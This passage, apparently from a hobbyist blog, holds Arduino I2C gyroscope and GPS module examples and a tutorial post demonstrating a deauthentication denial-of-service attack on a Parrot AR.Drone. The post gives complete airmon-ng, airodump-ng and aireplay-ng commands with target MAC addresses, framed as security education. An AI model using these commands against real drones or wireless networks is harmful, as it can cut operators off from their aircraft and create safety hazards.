   Serial.print(data);
   delay(10000);
}

int readRoll (void){
  int data = 0;
  data = readI2C(GYRO, GYRO_X_H,1)<<8;
  data |= readI2C(GYRO, GYRO_X_L,1);
  return data;
}
int readPitch (void){
  int data = 0;
  data = readI2C(GYRO, GYRO_Y_H,1)<<8;
  data |= readI2C(GYRO, GYRO_Y_L,1);
  return data;
}
int readYaw (void){
  int data = 0;
  data = readI2C(GYRO, GYRO_Z_H,1)<<8;
  data |= readI2C(GYRO, GYRO_Z_L,1);
  return data;
}
// function to read from a device on I2C bus
byte readI2C(byte devAddress, byte devRegister, int numBytes){
  byte data = 0; 
  int aux = 0;
  
  Wire.beginTransmission(devAddress);   //Set device address on I2C bus
  Wire.write(devRegister);              //Set register to read from device
  Wire.endTransmission();               //Stop

  Wire.beginTransmission(devAddress);   //Set device address on I2C bus
  Wire.requestFrom(devAddress, numBytes);      //read data

  if (numBytes == 1) {
    if (Wire.available()){
      data = Wire.read();
    }
  } else {    //ADXL345 multiple-byte read to prevent a change in data between reads of sequential registers
    while (Wire.available()){
      adxl345[aux] = Wire.read();
      aux++;
    }
  }
  Wire.endTransmission();
  return data;
}

// function to write in a device on I2C bus
void writeI2C(byte devAddress, byte devRegister, byte devData){
  Wire.beginTransmission(devAddress);    //Start tx - set device address on I2C bus
  Wire.write(devRegister);               //Set register from I2C device
  Wire.write(devData);                  //Set value to register 
  Wire.endTransmission();                //Stop tx
}

Result:

IMU Output - Arduino Example
IMU Output – Arduino Example

Parrot AR.drone Denial of Service (DoS) Attack

Parrot AR.drone platform is one of best sellers commercial drones/UAS platform.
This article aims to demonstrante the attack similar to the one published by JOHN HOPKINS:

This kind of attack shows the importance of cybersecurity during design of these platforms and its safety implications.

This attack called denial of service (more info) is called “Deauthentication/Dissociation” attack, this attack aims to deauthenticate the client (normally a mobile phone as controller) connected to AR.drone.


** FOR EDUCATION PURPOSE **

Step #0 Put wireless adapter on monitor mode

airmon-ng start wlan0

Step #1 Discover AR.Drone MAC address

airodump-ng wlan0mon

//In this case: 90:03:B7:38:F5:B8

Step #2 Discover the client connected to AR.drone BSSID

airodump-ng wlan0mon -c 1 –bssid 90:03:B7:38:F5:B8

//In this case: 44:80:EB:00:0B:41

Step #3 Use aireplay-ng to disassociate the client

aireplay-ng -0 1000 -a 90:03:B7:38:F5:B8 -c 44:80:EB:00:0B:41 wlan0mon

-0 is the parameter for the Deauthentication attack, 1000 is the number os deaths, -a MAC address of Parrot AR.drone, -c the MAC address of the client and the wlan0mon the interface.


Video of attack:

Denial of Service Attack Result:

Parrot AR.Drone Denial of Service Attack
Parrot AR.Drone Denial of Service Attack

References:
SANS Whitepaper – Wireless Denial Service Attacks Mitigation

Cyber Security Labs – Deauthentication/Disassociation attack

 

Module GP-20U7 / GP20U7 – GPS Example with arduino

GP-20U7 is a low-cost GPS module available in SparkFun (check it here).

The GP-20U7 is useful for mobile application, autonomous vehicles and many other applications that requires geographical positioning data.

It requires a 3.3V power supply and a UART port to communicate with your processor (more details on datasheet).

This example was implemented with arduino UNO and the following pins were assigned:

  • Vcc pin from GP-20U7 to 3.3V on arduino
  • GND from GP-20U7 to GND on arduino
  • TX from GP-20U7 to PIN10 on arduino

Below is the code implemented:

// GPS Module - GP-20U7 - Arduino Example Algorithm
//
// Author: Gustavo Bertoli
//
// References:
// https://cdn.sparkfun.com/datasheets/GPS/GP-20U7.pdf
// https://www.arduino.cc/en/Reference/SoftwareSerial
// http://forum.arduino.cc/index.php?topic=288234.0
// 

#include <SoftwareSerial.h> 

SoftwareSerial GPS_Serial(10, 11); // RX, TX

void setup() {
  Serial.begin(9600);
  GPS_Serial.begin(9600); 
}

void loop() {
   char rc;

   if (GPS_Serial.available()){
        rc = GPS_Serial.read();
        Serial.write(rc);
   }
}

And the output:

GPS GP-20U7 - arduino output
GPS GP-20U7 – arduino output

tecnologia e informação